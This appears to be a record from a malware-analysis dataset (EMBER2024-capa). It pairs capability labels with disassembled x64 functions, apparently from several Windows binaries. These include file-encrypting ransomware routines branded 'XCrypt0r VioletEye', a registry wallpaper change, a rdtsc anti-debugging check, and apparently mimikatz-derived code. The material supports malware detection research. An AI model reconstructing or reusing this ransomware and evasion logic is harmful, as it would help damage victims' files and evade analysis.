joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001c10
Capabilities:
Move file
Read file on windows
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x178
mov rdi, rdx
mov rdx, r8
mov rbx, rcx
mov rsi, r8
call sub.msvcrt.dll_strstr
test rax, rax
je 0x140001c50
add rsp, 0x178
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
lea rdx, str.personal_id
mov rcx, rbx
call sub.msvcrt.dll_strstr
test rax, rax
jne 0x140001c39
lea rdx, str.8u42g9
mov rcx, rbx
call sub.msvcrt.dll_strstr
test rax, rax
jne 0x140001c39
lea rdx, str._README
mov rcx, rbx
call sub.msvcrt.dll_strstr
test rax, rax
jne 0x140001c39
lea rdx, str.encrypted_files.txt
mov rcx, rbx
call sub.msvcrt.dll_strstr
test rax, rax
jne 0x140001c39
lea rdx, str..key
mov rcx, rbx
call sub.msvcrt.dll_strstr
test rax, rax
jne 0x140001c39
lea rdx, str.desktop.ini
mov rcx, rbx
call sub.msvcrt.dll_strstr
test rax, rax
jne 0x140001c39
lea rdx, [0x140045092]
mov rcx, rbx
call sub.msvcrt.dll_fopen
mov rbp, rax
test rax, rax
je 0x140001c39
mov r8d, 2
xor edx, edx
lea r15, [rsp + 0x40]
mov rcx, rax
call sub.msvcrt.dll_fseek
mov rcx, rbp
mov r13, r15
call sub.msvcrt.dll_ftell
xor r8d, r8d
xor edx, edx
mov rcx, rbp
mov r14d, eax
mov dword [rsp + 0x3c], eax
call sub.msvcrt.dll_fseek
movsxd r14, r14d
mov rcx, r14
call sub.msvcrt.dll_malloc
mov r9, rbp
mov r8, r14
mov edx, 1
mov rcx, rax
mov r12, rax
call sub.msvcrt.dll_fread
mov rcx, rbp
lea rbp, [rsp + 0x58]
call sub.msvcrt.dll_fclose
nop dword [rax]
call sub.msvcrt.dll_rand
add r13, 1
mov byte [r13 - 1], al
cmp r13, rbp
jne 0x140001d50
mov edx, dword [rsp + 0x3c]
mov r8, rdi
mov r9, r15
mov rcx, r12
call fcn.140001aa0
lea rdx, [0x140045095]
mov rcx, rbx
call sub.msvcrt.dll_fopen
mov rdi, rax
test rax, rax
je 0x140001df7
mov rcx, r15
mov r9, rax
mov r8d, 0x18
mov edx, 1
call sub.msvcrt.dll_fwrite
mov r9, rdi
mov r8, r14
mov edx, 1
mov rcx, r12
call sub.msvcrt.dll_fwrite
mov rcx, r12
call sub.msvcrt.dll_free
mov rcx, rdi
lea rdi, [rsp + 0x60]
call sub.msvcrt.dll_fclose
mov rcx, rdi
mov qword [rsp + 0x20], rsi
mov r9, rbx
lea r8, [0x140045098]
mov edx, 0x104
call qword [sym.imp.msvcrt.dll__snprintf]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_MoveFileA]
jmp 0x140001c39
mov rcx, r12
add rsp, 0x178
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
jmp sub.msvcrt.dll_free
Function at 0x140002cb0
Capabilities:
Execute command

Disassembly:
push rbx
sub rsp, 0x20
xor eax, eax
test cl, cl
jne 0x140002cc8
add rsp, 0x20
pop rbx
ret
mov r9d, 0x40
lea r8, str.Warning
lea rdx, str.Read_the_About.txt__then_youll_be_able_to_proceed.
xor ecx, ecx
mov rbx, qword [sym.imp.USER32.dll_MessageBoxA]
call rbx
lea rcx, str.notepad.exe_About.txt
call sub.msvcrt.dll_system
xor ecx, ecx
mov r9d, 0x14
lea r8, str.XCrypt0r_VioletEye
lea rdx, str.This_IS_real_ransomware._Are_you_sure_you_want_to_run_it_
call rbx
cmp eax, 6
je 0x140002d20
mov eax, 1
add rsp, 0x20
pop rbx
ret
xor ecx, ecx
mov r9d, 0x34
lea r8, str.XCrypt0r_VioletEye
lea rdx, str.Are_you_100__sure__Im_not_responsible_for_any_damage_done.
call rbx
cmp eax, 6
jne 0x140002d10
xor ecx, ecx
mov r9d, 0x34
lea r8, str.XCrypt0r_VioletEye
lea rdx, str.Last_warning._The_darkweb_sites_arent_real._nYou_arent_able_to_decrypt_your_files_without_nXCracker.exe._nAre_you_ABSOLUTELY_sure_
call rbx
cmp eax, 6
jne 0x140002d10
jmp 0x140002cbb

Function at 0x140002e00
Capabilities:
Get token membership

Disassembly:
push rsi
push rbx
sub rsp, 0x58
lea rbx, [rsp + 0x48]
mov rsi, rcx
mov rcx, rbx
call sub.msvcrt.dll__time64
mov rcx, rbx
call sub.msvcrt.dll__localtime64
mov rcx, rsi
lea rdx, [0x140045107]
mov rbx, rax
call sub.msvcrt.dll_fopen
mov rsi, rax
test rax, rax
je 0x140002de6
mov eax, dword [rbx]
mov ecx, dword [rbx + 0x10]
mov edx, dword [rbx + 0x14]
mov dword [rsp + 0x38], eax
mov eax, dword [rbx + 4]
lea r9d, [rcx + 1]
mov rcx, rsi
lea r8d, [rdx + 0x76c]
lea rdx, str._d__02d__02d__02d__02d__02d
mov dword [rsp + 0x30], eax
mov eax, dword [rbx + 8]
mov dword [rsp + 0x28], eax
mov eax, dword [rbx + 0xc]
add eax, 3
mov dword [rsp + 0x20], eax
call fcn.140001470
mov rcx, rsi
call sub.msvcrt.dll_fclose
nop
add rsp, 0x58
pop rbx
pop rsi
ret
lea rcx, str.Error_opening_file
call sub.msvcrt.dll_perror
mov ecx, 1
call sub.msvcrt.dll_exit
nop
nop dword [rax]
sub rsp, 0x88
mov eax, 0x500
mov r9d, 0x220
mov edx, 2
mov r8d, 0x20
mov word [rsp + 0x76], ax
lea rax, [rsp + 0x78]
lea rcx, [rsp + 0x72]
mov dword [rsp + 0x72], 0
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [rsp + 0x6c], eax
test eax, eax
jne 0x140002e80
add rsp, 0x88
ret
xor ecx, ecx
mov rdx, qword [rsp + 0x78]
lea r8, [rsp + 0x6c]
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x140002e9e
mov dword [rsp + 0x6c], 0
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [rsp + 0x6c]
add rsp, 0x88
ret
Function at 0x140002ec0
Capabilities:
Set current directory

Disassembly:
push rbx
sub rsp, 0x130
xor ecx, ecx
mov r8d, 0x104
lea rbx, [rsp + 0x20]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140002f10
mov edx, 0x5c
mov rcx, rbx
call sub.msvcrt.dll_strrchr
test rax, rax
je 0x140002f10
mov rcx, rbx
mov byte [rax], 0
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov rdx, rbx
lea rcx, str.Working_directory_set_to:__s_n
call fcn.1400014a0
nop
add rsp, 0x130
pop rbx
ret
Function at 0x140002f20
Capabilities:
Capture screenshot
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xd8
mov r15, rdx
mov r14, rcx
lea rbp, [rsp + 0x90]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov r8d, 0x438
mov edx, 0x780
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
xor ecx, ecx
mov rdi, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov r12, qword [sym.imp.GDI32.dll_SelectObject]
mov rdx, rdi
mov rbx, rax
mov rcx, rax
call r12
mov ecx, 0x171717
mov qword [rsp + 0x70], rax
call qword [sym.imp.GDI32.dll_CreateSolidBrush]
movdqu xmm0, xmmword [0x140045730]
mov rdx, rbp
mov rcx, rbx
mov rsi, rax
mov r8, rax
movups xmmword [rsp + 0x90], xmm0
call qword [sym.imp.USER32.dll_FillRect]
mov rcx, rsi
lea rsi, str.Consolas
mov r13, qword [sym.imp.GDI32.dll_DeleteObject]
call r13
mov rcx, rbx
mov edx, 0xff
call qword [sym.imp.GDI32.dll_SetTextColor]
mov rcx, rbx
mov edx, 1
call qword [sym.imp.GDI32.dll_SetBkMode]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x68], rsi
xor edx, edx
mov dword [rsp + 0x60], 0
mov ecx, 0x32
mov dword [rsp + 0x58], 0
mov dword [rsp + 0x50], 0
mov dword [rsp + 0x48], 4
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2bc
call qword [sym.imp.GDI32.dll_CreateFontA]
mov rcx, rbx
mov rsi, rax
mov rdx, rax
call r12
mov r9, rbp
mov r8d, 0xffffffff
mov rdx, r15
mov rcx, rbx
mov qword [rsp + 0x78], rax
lea r15, [rsp + 0xa0]
mov dword [rsp + 0x20], 0x15
call qword [sym.imp.USER32.dll_DrawTextA]
mov rdx, qword [rsp + 0x78]
mov rcx, rbx
call r12
mov rcx, rsi
movabs rsi, 0x78000000028
call r13
mov qword [rsp + 0xa0], rsi
mov ecx, 0x5eec00
movabs rsi, 0x18000100000438
mov qword [rsp + 0xa8], rsi
movabs rsi, 0x5eec364d42
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xb8], 0
mov qword [rsp + 0xc0], 0
call sub.msvcrt.dll_malloc
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
mov rbp, rax
mov r9d, 0x438
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x20], rax
call qword [sym.imp.GDI32.dll_GetDIBits]
xor eax, eax
mov rcx, r14
lea rdx, [0x140045095]
mov qword [rsp + 0x80], rsi
mov dword [rsp + 0x88], 0x360000
mov word [rsp + 0x8c], ax
call sub.msvcrt.dll_fopen
mov r8d, 1
mov edx, 0xe
lea rcx, [rsp + 0x80]
mov rsi, rax
mov r9, rax
call sub.msvcrt.dll_fwrite
mov r9, rsi
mov rcx, r15
mov edx, 0x28
mov r8d, 1
call sub.msvcrt.dll_fwrite
mov r9, rsi
mov edx, 0x5eec00
mov rcx, rbp
mov r8d, 1
call sub.msvcrt.dll_fwrite
mov rcx, rsi
call sub.msvcrt.dll_fclose
mov rcx, rbp
call sub.msvcrt.dll_free
mov rdx, qword [rsp + 0x70]
mov rcx, rbx
call r12
mov rcx, rbx
call qword [sym.imp.GDI32.dll_DeleteDC]
mov rcx, rdi
call r13
nop
add rsp, 0xd8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x1400031c0
Capabilities:
Set registry value

Disassembly:
push rbx
sub rsp, 0x40
xor r8d, r8d
mov r9d, 2
lea rdx, str.Control_PanelDesktop
lea rax, [rsp + 0x38]
mov rbx, rcx
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x140003200
add rsp, 0x40
pop rbx
ret
mov rcx, rbx
call sub.msvcrt.dll_strlen
mov rcx, qword [rsp + 0x38]
xor r8d, r8d
mov r9d, 1
add eax, 1
lea rdx, str.Wallpaper
mov qword [rsp + 0x20], rbx
mov dword [rsp + 0x28], eax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
add rsp, 0x40
pop rbx
ret

Function at 0x140003b30
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1400130b0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.1400130b0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140003ba0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14004d0e4]
mov rbx, rcx
test esi, esi
jle 0x140003cd0
mov rax, qword [0x14004d0e8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140003beb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140003c75
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140003bd0
mov rcx, rbx
call fcn.140004660
mov rdi, rax
test rax, rax
je 0x140003cf2
mov rax, qword [0x14004d0e8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1400047a0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14004d0e8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140003cd7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140003c6e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140003c80
add dword [0x14004d0e4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14004d0e8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140003c6e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140003b30
nop dword [rax]
xor esi, esi
jmp 0x140003bf8
mov rax, qword [0x14004d0e8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140003b30
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140003b30
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x1400042a0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14004d140]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14004d120]
test rbx, rbx
je 0x140004304
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop word cs:[rax + rax]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x1400042fb
test eax, eax
jne 0x1400042fb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400042e0
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140004660
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400462e0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140004680
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140004688
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140004680
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400046dd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400046d4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140004680
add rax, 0x28
cmp rax, r9
jne 0x1400046c0
xor eax, eax
ret

Function at 0x1400046e0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400462e0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400046ff
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140004708
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400046ff
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400047a0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400462e0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400047bf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400047c8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x1400010c1
Capabilities:
Execute anti-debugging instructions

Disassembly:
movabs rax, 0xb2d05e00
mov rbx, rax
rdtsc
shl rdx, 0x20
or rax, rdx
mov rcx, rax
rdtsc
shl rdx, 0x20
or rax, rdx
sub rax, rcx
cmp rax, rbx
jb 0x1400010da
push rbp
mov rbp, rsp
sub rsp, 8
mov r10, 0xa
mov rcx, 0xffffffff9f345678
dec rcx
xor r9, r9
mov rax, rcx
jne 0x140001101
xor rax, rax
mov rax, rbx
add rax, rdx
nop
nop
nop
dec r10
xor r11, r11
jne 0x1400010fa
xor rax, rax
mov rax, 0xa
dec rax
nop
nop
add rsp, 8
pop rbp
ret

Function at 0x140011b8c
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov r11d, dword [r8]
mov rbx, rdx
mov r9, rcx
and r11d, 0xfffffff8
test byte [r8], 4
mov r10, rcx
je 0x140011b7f
mov eax, dword [r8 + 8]
movsxd r10, dword [r8 + 4]
neg eax
add r10, rcx
movsxd rcx, eax
and r10, rcx
movsxd rax, r11d
mov rdx, qword [rax + r10]
mov rax, qword [rbx + 0x10]
mov ecx, dword [rax + 8]
add rcx, qword [rbx + 8]
test byte [rcx + 3], 0xf
je 0x140011ba3
movzx eax, byte [rcx + 3]
and eax, 0xfffffff0
cdqe
add r9, rax
xor r9, rdx
mov rcx, r9
add rsp, 0x20
pop rbx
jmp fcn.140011b30

Function at 0x140013b80
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call fcn.140019990
nop
cmp dword [0x140032fa0], 1
je 0x140013b2c
mov dword [0x140032f9c], 1
mov byte [0x140032f98], r12b
test ebx, ebx
jne 0x140013b18
mov rcx, qword [0x140035090]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x140013b05
mov rcx, qword [0x140035088]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x140013aa4
call fcn.140014fbc
cmp qword [rdi], rax
jne 0x140013aa4
jmp 0x140013a8a
cmp rdi, rsi
jb 0x140013b05
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.140014fbc
mov qword [rdi], rax
call rbx
mov rcx, qword [0x140035090]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x140035088]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x140013ae3
cmp r13, rax
je 0x140013b03
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x140013a8a
lea rdx, [0x140022830]
lea rcx, [0x140022818]
call fcn.1400138d4
lea rdx, [0x140022840]
lea rcx, [0x140022838]
call fcn.1400138d4
nop
test r12d, r12d
je 0x140013b3b
mov ecx, 8
call fcn.140019890
test r12d, r12d
jne 0x140013b66
mov dword [0x140032fa0], 1
lea ecx, [r12 + 8]
call fcn.140019890
mov ecx, r15d
call fcn.140013868
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x1400139f4

Function at 0x140013b8c
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x1400139f4
Function at 0x1400140ef
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14002dda0]
jne 0x140011b4a
rol rcx, 0x10
test cx, 0xffff
jne 0x140011b46
repz ret
ror rcx, 0x10
jmp 0x140014048
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140033060]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x140033158]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1400140cd
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140033060]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x1400140ef
mov rax, qword [rsp + 0x88]
mov qword [0x140033158], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1400330f8], rax
mov rax, qword [0x140033158]
mov qword [0x140032fd0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1400330e0], rax
mov dword [0x140032fc0], 0xc0000409
mov dword [0x140032fc4], 1
mov rax, qword [0x14002dda0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14002dda8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140033058], eax
mov ecx, 1
call fcn.14001ab94
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140025450]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140033058], 0
jne 0x140014176
mov ecx, 1
call fcn.14001ab94
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x14001ab9c
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.140014fbc
xor ebx, ebx
mov rdi, rax
cmp qword [0x140033d80], rbx
jne 0x14001aca2
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x14001ad77
lea rdx, [0x140026650]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14001ad77
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140033d80], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x140026628]
mov rcx, rsi
mov qword [0x140033d88], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x140033d90], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x140033da0], rax
test rax, rax
je 0x14001ac99
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x140033d98], rax
jmp 0x14001aca9
mov rax, qword [0x140033d98]
jmp 0x14001acb0
mov rax, qword [0x140033d98]
mov r11, qword [0x140033da0]
cmp rax, rdi
je 0x14001ad18
cmp r11, rdi
je 0x14001ad18
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x140033da0]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x14001ad18
test rax, rax
je 0x14001ad18
call rsi
test rax, rax
je 0x14001ad12
lea rcx, [rsp + 0x88]
mov r9d, 0xc
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14001ad12
test byte [rsp + 0x38], 1
jne 0x14001ad18
bts ebp, 0x15
jmp 0x14001ad56
mov rcx, qword [0x140033d88]
cmp rcx, rdi
je 0x14001ad56
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14001ad56
call rax
mov rbx, rax
test rax, rax
je 0x14001ad56
mov rcx, qword [0x140033d90]
cmp rcx, rdi
je 0x14001ad56
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14001ad56
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140033d80]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14001ad77
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x14001ad79
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x1400019b8
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
xor r13d, r13d
mov r15, rdx
mov rdi, rcx
mov r12d, r9d
mov r14d, r8d
mov esi, r13d
lea edx, [r13 + 0x41]
lea ecx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x140001aff
lea ebp, [r13 + 7]
cmp r14d, ebp
jb 0x140001a1a
mov edx, r14d
lea rcx, str.ERROR_qull_m_busylight_request_create___count_u__max_is_7__n
call fcn.14000b8cc
cmp r14d, ebp
cmovb ebp, r14d
mov r10d, r13d
mov esi, 1
test ebp, ebp
je 0x140001ac9
lea r9, [r15 + 2]
movzx edx, byte [r9 - 2]
mov cl, dl
mov al, dl
or al, 0x10
and cl, 0xf0
movzx eax, al
lea ecx, [r10*8 + 2]
cmove edx, eax
lea eax, [r10*8 + 1]
mov byte [rax + rbx], dl
mov al, byte [r9 - 1]
mov byte [rcx + rbx], al
lea ecx, [r10*8 + 3]
mov al, byte [r9]
lea r9, [r9 + 8]
mov byte [rcx + rbx], al
lea ecx, [r10*8 + 4]
mov al, byte [r9 - 7]
mov byte [rcx + rbx], al
lea ecx, [r10*8 + 5]
mov al, byte [r9 - 6]
mov byte [rcx + rbx], al
lea ecx, [r10*8 + 6]
mov al, byte [r9 - 5]
mov byte [rcx + rbx], al
lea ecx, [r10*8 + 7]
mov al, byte [r9 - 4]
mov byte [rcx + rbx], al
lea ecx, [r10*8 + 8]
mov al, byte [r9 - 3]
add r10d, esi
mov byte [rcx + rbx], al
cmp r10d, ebp
jb 0x140001a32
or word [rbx + 0x3d], 0xffff
lea rdx, [rbx + 1]
mov dword [rbx + 0x39], 0xff550404
movzx ecx, r13w
mov r8d, reloc.netapi32.dll_Ordinal_62
movzx eax, byte [rdx]
add rdx, rsi
add cx, ax
sub r8, rsi
jne 0x140001ae4
movzx eax, cx
mov byte [rbx + 0x40], cl
shr ax, 8
mov byte [rbx + 0x3f], al
test esi, esi
je 0x140001ba6
jmp 0x140001b94
mov ebp, r13d
test rdi, rdi
je 0x140001b76
mov rcx, qword [rdi + 0x78]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140001b76
movzx r9d, word [rdi + 0x2a]
mov r8d, reloc.netapi32.dll_Ordinal_65
cmp r9d, r8d
jb 0x140001b65
lea r9, [rsp + 0x30]
mov qword [rsp + 0x20], r13
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov ebp, eax
test eax, eax
jne 0x140001b85
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [rdi + 8]
lea rcx, str.ERROR_qull_m_busylight_device_send_raw____device__u__WriteFile__0x_08x__n
mov r8d, eax
call fcn.14000b8cc
jmp 0x140001b85
mov edx, dword [rdi + 8]
lea rcx, str.ERROR_qull_m_busylight_device_send_raw____device__u__Size_is_not_valide__siz___u__max___u__n
call fcn.14000b8cc
